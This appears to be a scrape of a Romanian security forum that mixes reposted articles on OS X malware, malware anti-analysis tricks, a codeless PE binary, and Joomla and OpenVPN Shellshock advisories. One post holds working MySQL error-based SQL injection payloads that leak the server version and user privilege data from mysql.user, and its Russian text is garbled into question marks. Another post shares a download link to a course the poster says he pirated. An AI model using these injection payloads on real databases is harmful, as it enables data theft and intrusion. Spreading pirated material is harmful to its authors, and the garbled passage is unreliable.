main question is what can we expect in the future? So here we go, without emotion, with just numbers and facts, for some unprejudiced analysis. And if you’re on for impartial, passionless discussion in the comments – please, be my guests! First up – frontline reports. So what’s been going on in the Mac-threat world in recent years? I’ll start off with the following graph. It shows the number of malicious files for OS X we’ve discovered over the years. As you can see from the graph, just four years ago the year’s ‘catch’ of maliciousness was just 50, but then in 2011 there was a sudden surge, and ever since the annual cull has been counted in the hundreds – almost thousands. So what exactly gets caught? Well, in the first eight months of this year we detected nearly a thousand unique attacks on Macs, grouped into 25 major families. A few words on the most interesting: Backdoor.OSX.Callme – spreads in the body of a specially crafted MS Word document, which when launched installs a backdoor in the system via a vulnerability. This gives the attacker remote access to the system. At the same time it steals contact lists, apparently to search for new victims. Backdoor.OSX.Laoshu – it takes screenshots once a minute. It was signed with a trusted certificate of the developer. It looks like the virus writers were planning on uploading it to the App Store. Backdoor.OSX.Ventir – a multi-modular Trojan-spy with hidden remote control. It contains a keylogger based on open sourced logkext driver. Trojan.OSX.IOSinfector – installer of the mobile version of Trojan-Spy.IPhoneOS.Mekir (OSX/Crisis) – yup, it infects iPhones. Trojan-Ransom.OSX.FileCoder– the first file encryptor for OS X. Only just working – a buggy prototype. Trojan-Spy.OSX.CoinStealer– the first bitcoin-stealing malware for OS X. Disguises itself as a few open source bitcoin utilities. What it really does is install a malicious browser extension and/or a patched version of bitcoin-qt (an open source utility for mining bitcoins). #malware for OS X you’ve never heard about (but might find on your Mac) Tweet At this point a logical deduction may be: ok, ok, there’s some malware for Macs these days, but is it really a significant threat to users? How likely is an infection on an unprotected Mac? And which is the most prevalent malicious program? Thanks to KSN, we’ve got the answer. But before analyzing the numbers, first, an important disclaimer: these data come exclusively from users of our products. Trying to work out how malware is spread globally, including among users of other security products and/or those with no antivirus – that’s both a thankless and very approximate task based on extrapolations from data from different sources. Nevertheless, it’s still worth digging into KSN data, if only to give us something to talk about by the water cooler . So, the top-20 detections of for-OS X malware for 2013–2014 (worldwide): [TABLE] [TR] [TD]Name[/TD] [TD=width: 302]Number of detections[/TD] [TD=width: 212]%[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.b[/TD] [TD=width: 302]56,271[/TD] [TD=width: 212]39.15[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Vsrch.a[/TD] [TD=width: 302]28,222[/TD] [TD=width: 212]19.63[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.d[/TD] [TD=width: 302]23,904[/TD] [TD=width: 212]16.63[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.i[/TD] [TD=width: 302]7595[/TD] [TD=width: 212]5.28[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.FkCodec.b[/TD] [TD=width: 302]6395[/TD] [TD=width: 212]4.45[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.h[/TD] [TD=width: 302]3636[/TD] [TD=width: 212]2.53[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.j[/TD] [TD=width: 302]3366[/TD] [TD=width: 212]2.34[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.c[/TD] [TD=width: 302]2889[/TD] [TD=width: 212]2.01[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.a[/TD] [TD=width: 302]2079[/TD] [TD=width: 212]1.45[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.e[/TD] [TD=width: 302]1758[/TD] [TD=width: 212]1.22[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.FakeCo.a[/TD] [TD=width: 302]1413[/TD] [TD=width: 212]0.98[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Okaz.a[/TD] [TD=width: 302]1126[/TD] [TD=width: 212]0.78[/TD] [/TR] [TR] [TD=width: 469]Trojan-Downloader.OSX.Vidsler.a[/TD] [TD=width: 302]868[/TD] [TD=width: 212]0.60[/TD] [/TR] [TR] [TD=width: 469]RemoteAdmin.OSX.AppleRDAdmin.c[/TD] [TD=width: 302]677[/TD] [TD=width: 212]0.47[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Bnodlero.a[/TD] [TD=width: 302]656[/TD] [TD=width: 212]0.46[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.b[/TD] [TD=width: 302]633[/TD] [TD=width: 212]0.44[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.FkCodec.a[/TD] [TD=width: 302]609[/TD] [TD=width: 212]0.42[/TD] [/TR] [TR] [TD=width: 469]Trojan-Downloader.OSX.FavDonw.c[/TD] [TD=width: 302]571[/TD] [TD=width: 212]0.40[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.a[/TD] [TD=width: 302]544[/TD] [TD=width: 212]0.38[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.d[/TD] [TD=width: 302]533[/TD] [TD=width: 212]0.37[/TD] [/TR] [/TABLE] And here – the geography of iMalware for the same period: Now, if you look at the above data closely, you’ll see that about half of the detections are made up of adware, while two-thirds of all of them are made up of only the first three malicious programs. As to the geography of the distribution of iMalware, on the whole it matches the popularity of Macs themselves, i.e., with prevalence mostly in developed countries – where potential victims have the most money overall. Lastly, curiously, the famous Flashback is missing from the top-20. So what can we deduce from these data? First: cybercriminals find it easiest making money with mostly legal (well, almost legal) approaches. Persistent advertising also makes money, and coupled with large-scale infections – big money. Second: OS X virus writers are a fairly rare but sophisticated species. Unlike the Windows virus scene, the OS X virus scene bypassed the childish stage of ‘viruses for fun’ and went straight to the grown-up – Mac OS – stuff with all the attendant hardcore malware tricks that are necessary for it. These are serious folks, folks! It’s very likely they honed their skills on the Windows platform first, and then went over to Mac to conquer new, uncharted territory in search of new untapped money-making possibilities. After all, the money’s there, and the users are relatively blasé about security, which means there are plenty of opportunities – for those blackhatters who are willing to put in the work. The average sophistication level of OS X malware is much higher than that of Windows malware Third: professional espionage groups have really taken to exploiting OS X. Many APT attacks in the last few years acquired Mac-modules, for example Careto, Icefog, and the targeted attacks against Uyghur activists. Yes, here we’re talking pinpointed – exclusive as opposed to mass – attacks, aimed at specially chosen victims; this is why they don’t figure in the top-20. Not that they are any less dangerous; especially if your data may be interesting to intelligence agencies. Now let’s figure out the practical relevance of the above stats. Indeed, against the backdrop of the massive scale of disasters in the world of Windows, a hundred thousand detections in 18 months doesn’t look so bad, and might easily lead one to conclude that there really isn’t much of a threat at all. Well, there’s almost no threat. But does ‘almost no’ mean iUsers can relax and rely security-wise on Apple itself alone? In other words – not bother with protection at all? Read on… To understand here who’s paranoid and who’s not paranoid wrong , we again need to turn to KSN data. This time to consider the level of infestation – or the ratio of the number of protected Macs to the number of unique detections of Mac malware. Within the month of August, the chances of picking up an iNuisance were around 3%. Not so bad compared with the 21% chance of infection for Windows users (based on KSN data). Still, this translates to one iMalicious program taking a peek at an active Internet user’s Mac 10 times a year. Now things get even more interesting… First: iUsers are not only being targeted by iMalware. Some types of attacks don’t care what OS a comp has. For example, phishing and MITM attacks. And these happen to be very widespread threats. They’re most interested in users’ bank accounts, key web services used, and activity on social networks. Second: Macs are coming under attack from un-Mac-ish threats of another kind – those coming through holes in third-party software; for example, Java, Flash or Silverlight. This isn’t default software on a Mac, but still many users download and install it, so as to take full advantage of all the charms of the Web. It’s hard to say what the percentage likelihood of an attack would become if we take into account all common third-party software. But I think it’s safe to say it would increase several-fold. Mac-specific malware is not the only threat for Macs. There’s also phishing, MitM & 3rd party s/w vulns Tweet Third: well, this isn’t quite about malware threats. Antivirus software long ago stopped being a thing in the background that somehow unnoticeably saves us from this or that. Modern antivirus contains many other useful features that go far beyond the canonical concept of the software. For example, parental controls, password managers, Wi-Fi reliability checks, webcam blocking, and hundreds of other features. It’s true that for-Mac security products lag behind their PC-cousins in terms of functionality, but slowly and surely they’re catching up… And now for a bit of futurology… Two questions have been asked constantly by many for a long time: Why is there so little malware for Macs, and will things get worse? I have said many times that there are three essential conditions for the existence of malicious software on a particular platform: (i) the platform needs to have insecure architecture and thus vulnerabilities; (ii) it needs to be fairly widespread; and (iii) it needs to provide tools for third-party application development. OS X falters on item (ii) only. ‘Ha!’ says the knowledgeable reader. But there are now more than 80 million computers running Mac OS! Surely this is widespread enough? It might seem it. But then there are 1.5 billion Windows comps out there! I’ve written about the economics of the computer underground before on these blog-pages. There’s a basic rule that applies to all operating systems, and that includes OS X: For the cyber-scum there’s no sense in spending resources on trickier, less popular OS’s when before them are tens of millions of fertile Windows-based computers – some without antivirus, most never updated, and others with free – and holey – antivirus. Put another way – the pickings are too easy with Windows. Why try harder (with OS X)? What we should be looking at instead is where the critical mass might lie – where ‘minor’ (judging by their market share) OS’s like OS X become economically interesting. I’ve mentioned in the past that 5-7% of the global installed base should be the critical mass level. But that’s turned out to be too low. This year OS X has come up to close to 10%. Yet still there’s been no major change in the do-nothing little stance of the virus writers – only a few stirrings: clumsy, reluctant, and proof-of-concept stirrings. Source Extrapolating the trend, in three years Apple could take up 15 percent of the market. Will that be the trigger for a rapid flurry of development of iMalware? I don’t know. For a sharp increase – probably not. But an increase – for sure. Anyone have their own predictions on this? So what will happen when the market share of OS X finally reaches its critical mass? I think that first off there’ll be a few major epidemics with significant numbers of victims and significant monetary losses. Then there’ll be a chain reaction – virus writers will copy others, seeing how doable and profitable attacking OS X has become – and will switch en masse over to the platform. Another possible scenario could be things suddenly getting out of control through an APT attack against OS X; for example, a global outbreak caused by a bug undocumented feature of malware or a leak of the technology of an attack, its spread on the computer underground, and the appearance of loads of clones. The real situation with Mac security is difficult to estimate because most Mac users are still fully confident in the saintliness and infallibility of their favorite vendor. So what’s really going on on tens of millions of unprotected Macs is unknown. It’s pretty much like the underwater part of an iceberg. And sometimes this part brings unexpected and unpleasant (Titanic!) surprises like the Flashback worm in March 2012. But what malware is still there? What’s it doing? And who’s pulling the puppet strings – the usual cyber-crims, or white collar folks using hired programmers? All interesting questions, and we’re gradually going to find out the answers. But we need your help. We can’t save you forcibly. So take care of your own security by yourselves – at least take the first step and change your attitude to Mac protection! In the meantime, here are a few simple tips for how to maintain your Mac’s hygiene and keep it secure. A few simple tips for how to maintain your Mac’s hygiene and keep it secure Tweet That’s about it about Mac security discussion for now – but stay tuned. There’ll be more, soon, for sure, on this front – and ever more interesting… P.S. Wow, that was quick! The ‘more on this interesting front’ turned up sooner than I expected!… Researchers have found a massively serious vulnerability in Bash shell code, affecting Linux, UNIX, and – you guessed it – OS X. Patches are being hastily worked on, but so far there’s not been much progress. Let’s not forget that Unix is run on many industrial control systems and energy grids worldwide. Anyone remember Blaster? Back then Microsoft released a patch a month before the catastrophe… and by catastrophe I’m not hyberboling – it was a grandiose blackout of eastern USA. Sursa: The evolution of OS X malware | Nota Bene: Eugene Kaspersky's Official Blog

By spari earlier today, i got some spare time, and played a little with the function GeometryCollection(). basically, this function constructs geometry collection. sounds nice. but the interesting part is, we can only use it with adjusted function, like point(x,y). for example- mysql> SELECT GeometryCollection(point(53,12)); and output- +----+---------------------------+ |GeometryCollection(point(53,12))| |geometry(4294967295) | +----+---------------------------+ |??? ?? | +----+---------------------------+ as we can see, the output is some gibberish. now lets try it without POINT()- mysql> SELECT GeometryCollection(53,12); Error 1367 (22007): Illegal non geometric '53' value found during parsing wow, wait, what? we got an error on our x argument, 53. GeometryCollection() cant process this, because GeometryCollection() dont know how to recognize x,y. after i saw that, i thought "why stop here?", maybe i can play with this a little more. so, as expected () i tried to pull out the version, like that- PHP ???: mysql> SELECT GeometryCollection(a) from (select version()a)x; Error 1367 (22007): Illegal non geometric '`x`.`a`' value found during parsing mmm.. only possible to see the alias. not good enough. but wait, if we can see the alias, so maybe NAME_CONST() will do the trick? well, no. theoretically yes, but the problem is we cant call it. from here, the way to exploitation was really short- mysql>SELECT GeometryCollection((select*from(select*from(select@@version)f)x)); Error 1367 (22007): Illegal non geometric '(select `x`.`@@version` from (select '5.5.38-35.2' AS `@@version` from dual) `x`)' value found during parsing and we get a short, new error based, without spaces and commas. lets try pull out more stuff, maybe some columns from mysql.user- mysql>SELECT GeometryCollection((select*from(select*from(select group_concat(user,file_priv) from mysql.user)f)x)); Error 1367 (22007): Illegal non geometric '(select `x`.`group_concat(user,file_priv)` from (select 'localhostY,rootY' AS `group_concat(user,file_priv)` from dual) `x`)' value found during parsing hope i expand your mind comments will be nice. ??????? ?? ???????? ??? ?????????????? error-based ???????. ??? ????? ?????? ? ?????????? ????. ?? ????? ?? ??? ?????? ? ????? ?? ?????????? ???????????. ???? ??????, ?????? ???????????? ?? ?????? ???????????? ???? ?????? (?? ??????????? ??????): mysql> SELECT 18446744073709551610 * 2; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql> SELECT -1 * 9223372036854775808; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(-(1) * 9223372036854775808)' ? ?????? ????????? ??????? ???????, ?????? ??? ?????? ????????? ?? ?? ??????????, ??? ???????? ?????: mysql> SELECT 123 abc d; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'd' at line 1 ? ?? ?????, ??-?? ???? ????? ????????? ??????????? ? ???????? ??????? ? ???????? ???, ??? ???????? ?? ???????: mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610)); ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select '5.5' from dual),18446744073709551610,18446744073709551610))' // ?????: 452 ??????? ? ???? ??????: ???: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from `test`.`shop`) limit 1) > (select `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit 1)),18446744073709551610,18446744073709551610))' // ?????? ????? ??????? ? ??????? ? ??? ??????: ???: mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610); ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select 'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),18446744073709551610,18446744073709551610))' // ??????? ?????? ?? ???? ??????? ????? Mai multe aici: https://rdot.org/forum/showthread.php?p=37133 Si aici: https://rdot.org/forum/showthread.php?t=3167

ontrast for Eclipse makes Contrast’s award winning security analysis technology available to Java developers via a fully integrated Eclipse Java IDE experience. It is a free, easy to use, and powerful application security tool that expertly pinpoints vulnerabilities such as SQL Injection and Cross-Site Scripting -- right at the source. Contrast for Eclipse features Automated detection of OWASP Top 10 vulnerabilities Transparent integration with the Eclipse IDE Detailed data flow analysis of the running application Vulnerability traceback in the source code Context sensitive expert security advice Contrast for Eclipse installs in minutes, requires no configuration, and tests your code against the OWASP Top 10. Get secure today! Visit www.contrastsecurity.com for more security solutions that help applications test themselves at any scale. Sursa: Contrast for Eclipse | Eclipse Plugins, Bundles and Products - Eclipse Marketplace

PE Trick #1: A Codeless PE Binary File That Runs Introduction One of the annoying things of my Windows Internals/Security research is when every single component and mechanism I’ve looked at in the last six months has ultimately resulted in me finding very interesting design bugs, which I must now wait on Microsoft to fix before being able to talk further about them. As such, I have to take a smaller break from kernel-specific research (although I hope to lift the veil over at least one issue at the No Such Conference in Paris this year). And so, in the next following few blog posts, probably inspired by having spent too much time talking with my friend Ange Albertini, I’ll be going over some neat PE tricks. Challenge Write a portable executable (PE/EXE) file which can be spawned through a standard CreateProcess call and will result in STATUS_SUCCESS being returned as well as a valid Process Handle, but will not Contain any actual x86/x64 assembly code section (i.e.: the whole PE should be read-only, no +X section) Run a single instruction of what could be construed as x86 assembly code, which is part of the file itself (i.e.: random R/O data should not somehow be forced into being executed as machine code) Crash or make any sort of interactive/visible notice to the user, event log entry, or other error condition. I nteresting, this was actually a real-world situation that I was asked to provide a solution for — not a mere mental exercise. The idea was being able to prove, in the court of law, that no “foreign” machine code had executed as a result of this executable file having been launched (i.e.: obviously the kernel ran some code, and the loader ran too, but all this is pre-existing Microsoft OS code). Yet, the PE file had to not only be valid, but to also return a valid process handle to the caller. Solution HEADER:00000000 ; IMAGE_DOS_HEADER HEADER:00000000 HEADER:00000000 .686p HEADER:00000000 .mmx HEADER:00000000 .model flat HEADER:00000000 HEADER:00000000 ; Segment type: Pure data HEADER:00000000 HEADER segment page public 'DATA' use32 HEADER:00000000 assume cs:HEADER HEADER:00000000 __ImageBase dw 5A4Dh ; PE magic number HEADER:00000002 dw 0 ; Bytes on last page of file HEADER:00000004 ; IMAGE_NT_HEADERS HEADER:00000004 dd 4550h ; Signature HEADER:00000008 ; IMAGE_FILE_HEADER HEADER:00000008 dw 14Ch ; Machine HEADER:0000000A dw 0 ; Number of sections HEADER:0000000C dd 0 ; Time stamp HEADER:00000010 dd 0 ; Pointer to symbol table HEADER:00000014 dd 0 ; Number of symbols HEADER:00000018 dw 0 ; Size of optional header HEADER:0000001A dw 2 ; Characteristics HEADER:0000001C ; IMAGE_OPTIONAL_HEADER HEADER:0000001C dw 10Bh ; Magic number HEADER:0000001E db 0 ; Major linker version HEADER:0000001F db 0 ; Minor linker version HEADER:00000020 dd 0 ; Size of code HEADER:00000024 dd 0 ; Size of initialized data HEADER:00000028 dd 0 ; Size of uninitialized data HEADER:0000002C dd 7FBE02F8h ; Address of entry point HEADER:00000030 dd 0 ; Base of code HEADER:00000034 dd 0 ; Base of data HEADER:00000038 dd 400000h ; Image base HEADER:0000003C dd 4 ; Section alignment HEADER:00000040 dd 4 ; File alignment HEADER:00000044 dw 0 ; Major operating system version HEADER:00000046 dw 0 ; Minor operating system version HEADER:00000048 dw 0 ; Major image version HEADER:0000004A dw 0 ; Minor image version HEADER:0000004C dw 4 ; Major subsystem version HEADER:0000004E dw 0 ; Minor subsystem version HEADER:00000050 dd 0 ; Reserved 1 HEADER:00000054 dd 40h ; Size of image HEADER:00000058 dd 0 ; Size of headers HEADER:0000005C dd 0 ; Checksum HEADER:00000060 dw 2 ; Subsystem HEADER:00000062 dw 0 ; Dll characteristics HEADER:00000064 dd 0 ; Size of stack reserve HEADER:00000068 dd 0 ; Size of stack commit HEADER:0000006C dd 0 ; Size of heap reserve HEADER:00000070 dd 0 ; Size of heap commit HEADER:00000074 dd 0 ; Loader flag HEADER:00000078 dd 0 ; Number of data directories HEADER:0000007C HEADER ends HEADER:0000007C end As per Corkami, in Windows 7 and higher, you’ll want to make sure that the PE is at least 252 bytes on x86, or 268 bytes on x64. Here’s a 64 byte Base64 representation of a .gz file containing the 64-bit compatible (268 byte) executable: H4sICPwJKlQCAHguZXhlAPONYmAIcGVg8GFkQANMDNxoYj+Y9tUjeA4MLECSBc5HsB1QTBk6AAB e6Mo9DAEAAA== Caveat There is one non-standard machine configuration in which this code will actually still crash (but still return STATUS_SUCCESS in CreateProcess, however). This is left as an exercise to the reader. Conclusion The application executes and exits successfully. But as you can see, no code is present in the binary. How does it work? Do you have any other solutions which satisfy the challenge? Sursa: PE Trick #1: A Codeless PE Binary File That Runs « Alex Ionescu’s Blog

Five Anti-Analysis Tricks That Sometimes Fool Analysts September 30, 2014 | BY Joshua Cannell No malware author wants an analyst snooping around their code, so they employ tricks to inhibit analysis. Along with visualization technology like VMware, debuggers are also targeted by malware. This is because if a debugger is attached to the running malware, it’s more than likely being analyzed. While nothing presented here is really new, it might help you to identify what’s happening if you find yourself in one of these traps. 1. VMware I/O port VMware tools is a software package users can install on their VMware virtual machines to increase their functionality. For example, one thing it allows for is drag-and-drop functionality between the host and guest, and vice versa. Competitors such as Oracle Virtualbox offers a similar package for their virtual machines known as Virtualbox Guest Additions. VMware Tools uses a special I/O port to communicate data to/from the host and virtual machine. Malware takes advantage of this functionality and implements it using only a few lines of Assembly code. Malware communicating over the VMware I/O port to retrieve the software version. If this code is running under a VMware virtual machine, it will execute successfully, and place the magic number into the EBX general purpose CPU register. This is a very efficient way of telling if a system is running inside a VMware virtual machine. 2. Virtual PC instructions The x86 instruction set has a limited number of instructions that your CPU can understand. Every now and then, you may encounter a situation where your CPU doesn’t understand an instruction, and therefore won’t be able to process it correctly. Opcodes in grey text are not recognized by the disassembler in Ollydbg. The above instructions are part of an anti-debugging technique for Microsoft Virtual PC, as was documented by researchers at Symantec. Here is another view using Ida Pro that gives us another clue we’re dealing with a Virtual PC instruction that is otherwise illegal in normal processors: If the target system is not running Virtual PC, an exception is generated and captured by the malware. However, if Virtual PC is running, no exception would be generated indicating that the user is in fact running Microsoft Virtual PC. 3. Check Descriptor Table Registers There is one Local Descriptor Table Register (LDTR), one Global Descriptor Table Register (GDTR), and one Interrupt Descriptor Table Register (IDTR) per CPU. These have to be moved to a different location when a guest operating system is running to avoid conflicts with the host. Ocassionally, you’ll see malware check for these by using the ASM instructions SLDT, SGDT, and SIDT to get the value of these registers. Malware checking the value of the descriptor table registers 4. DLLScanning This is perhaps one of the easiest identifiable anti-debug methods, where the malware scans its own process to look for particular dynamic-link libraries (DLLs) that may be associated with analyst tools. The targeted dlls here can be anything related to debuggers or tools that may inject special DLLs into the malware’s process (i.e. sandboxes). Malware looking for the presence of DLLs related to Sandboxie and Windbg. 5. Product ID check Checking the Window Product ID found within the registry can yield clues to what kind of System you are running. In the past, many Sandboxes used hardcoded product IDs in their Operating System environment. While most Sandboxes and other automated analysis systems use randomly generated product IDs, you can still occasionally find these checks. A malware sample testing for the presence of Anubis Sandbox These are just a few examples of tricks used to inhibit analysis of malicous code. Keeping aware of these methods can make your analysis process more effective. @joshuacannell Sursa (cu imagini): https://blog.malwarebytes.org/intelligence/2014/09/five-anti-debugging-tricks-that-sometimes-fool-analysts/

Joomla! 3.3.5 Released – Fixing High Priority Security Issues By Daniel Cid on September 30, 2014 The Joomla team just released versions 3.3.5, 3.2.6 and 2.5.26, patching high priority security issues. The first one is an Remote File Include (RFI) vulnerability and the second one is a Denial of Service (DoS) vulnerability that affect all previous versions. If you are using Joomla, stop what you are doing and update it now! The good news for our clients and what’s very exciting for us, me especially, is to see how the virtual hardening on our CloudProxy Website firewall protected our clients automatically against this vulnerability. As our researchers started to analyze the disclosure, we quickly noticed that it was already covered and the URL used to trigger this bug was already blocked by default. It means that our clients got zero-day protection without anyone even knowing about this issue. For more information on these vulnerabilities, you can get straight from the Joomla! release notes: High Priority – Core – Remote File Inclusion: Project: Joomla! SubProject: CMS Severity: Moderate Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4 Exploit type: Remote File Inclusion Reported Date: 2014-September-24 Fixed Date: 2014-September-30 CVE Number: CVE-2014-7228 Inadequate checking allowed the potential for remote files to be executed. This issue was discovered by Johannes Dahse and disclosed to Akeeba (and Joomla). The Akeeba team released a good post explaining the issue. We recommend reading if you are interested in the technical details. Medium Priority – Core – Denial of Service: Project: Joomla! SubProject: CMS Severity: Low Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4 Exploit type: Denial of Service Reported Date: 2014-September-24 Fixed Date: 2014-September-30 CVE Number: CVE-2014-7229 Inadequate checking allowed the potential for a denial of service attack. Again, if you are using the Joomla! we highly recommend updating immediately. Sursa: Joomla! 3.3.5 Released – Fixing High Priority Security Issues | Sucuri Blog

by Michael Mimoso September 30, 2014 , 12:47 pm OpenVPN wasn’t immune to the Heartbleed vulnerability in OpenSSL, and it’s not going to sidestep Shellshock either. Fredrick Stromberg, cofounder of Mullvad, a Swedish VPN company, reported that OpenVPN servers are vulnerable to Shellshock , the vulnerability in Bash plaguing Linux, UNIX and Mac OS X systems. Stromberg said the attack vector in OpenVPN is particularly dangerous because it’s pre-authentication, putting all communication through a supposedly secure tunnel at risk. “OpenVPN has a number of configuration options that can call custom commands during different stages of the tunnel session. Many of these commands are called with environmental variables set, some of which can be controlled by the client,” Stromberg wrote in a post to Hacker News. “One option used for username+password authentication is ‘auth-user-pass-verify.’ If the called script uses a vulnerable shell, the client simply delivers the exploit and payload by setting the username.” Gert Doering, speaking on behalf of the OpenVPN open source community version, said that OpenVPN is vulnerable only on systems where /bin/sh points to /bin/bash, or if a script that runs using bash as an interpreter is called explicity. “What you want to do from OpenVPN’s point of view is to ensure that you’re not using a 2.2.x version anymore, *and* that you just do not run your scripts using bash (“#!/bin/bash”) but use a shell that is better suited to script usage, like ash/dash,” Doering said. “Also, always use client certificates, as the username verification script that is the attack vector here is only called after successful verification of a client cert. And, of course, update your systems in a timely fashion.” Stromberg said the discovery was disclosed to OpenVPN last week. Stromberg said the discovery was disclosed to OpenVPN last week. “Given how many users could potentially be affected we reasoned that maximum utility would be achieved by giving VPN providers a heads up before warning everyone,” Stromberg wrote. “If you were affected but not informed I apologize.” OpenVPN is an open source virtual private network software package. Request for comment on the availability of a fix or workarounds went unanswered prior to publication. Stromberg also discovered that OpenVPN was vulnerable to Heartbleed and that researchers were able to chain together several exploits in order to steal private keys. Since the vulnerability in Bash (Bourne Again Shell) was disclosed last Wednesday, news has been fluid. There are now six distinct vulnerabilities that have been discovered, one as severe as the initial Bash flaw, but all merit watching. A number of patches have been produced, including two within the first 12 hours of discovery last week, and others from major vendors including Apple last night. The vulnerability allows an attacker to take advantage of a vulnerability in the way Bash executes code attached to an environment variable. Google engineer Michal Zalewski, a prolific bug-hunter, urged administrators to apply a patch built by Red Hat engineer Florian Weimer or an upstream version adopted by Bash project engineer Chet Ramey, who pushed out Bash43-027. “This patch changes the encoding bash uses for exported functions to avoid clashes with shell variables and to avoid depending only on an environment variable’s contents to determine whether or not to interpret it as a shell function,” Ramey wrote in the patch advisory. Zalewski wrote on his blog that he had discovered two new issues in Bash, one a remotely exploitable parsing issue that is exacerbated, he said, because Bash is not usually compiled with ASLR. The other vulnerability, the most severe so far, he said, permits remote code execution on systems that have been patched against the original vulnerability. “It’s a ‘put your commands here’ type of a bug similar to the original report,” Zalewski wrote. To date, a number of exploits have been reported, most of those just scanning the Internet looking for servers running vulnerable versions of Bash. One Perl bot discovered by AlienVault Labs opens a backdoor to a remote command and control server where more commands await. Experts speculate those exploits are trying to recruit bots to carry out DDoS attacks. Other exploits report system configuration data to a remote server or try to drop a remote shell on compromised machines. Sursa: OpenVPN vulnerable to Shellshock Bash vulnerability | Threatpost | The first stop for security news

Ma fut in conturile lor "premium". L-am luat de pe torrent. Link direct de download: https://rstforums.com/fisiere/Webdev.zip (1.91 GB) 09/30/2014 05:36 PM <DIR> Section 1 - Getting Started & HTML 09/30/2014 05:36 PM <DIR> Section 2 - CSS 09/30/2014 05:36 PM <DIR> Section 3 - Javascript 09/30/2014 05:31 PM <DIR> Section 4 - jQuery 09/30/2014 05:31 PM <DIR> Section 5 - Twitter Bootstrap 09/30/2014 05:31 PM <DIR> Section 6 - Wordpress 09/30/2014 05:36 PM <DIR> Section 7 - PHP 09/30/2014 05:31 PM <DIR> Section 8 - MySQL 09/30/2014 05:31 PM <DIR> Section 9 - APIs 09/30/2014 05:31 PM <DIR> Section 10 - Mobile Apps 09/30/2014 05:31 PM <DIR> Section 11 - What Now

Da, l-am gasit si eu asa: PRICE: $199 Scumput

Daca le are cineva, as fi si eu interesat.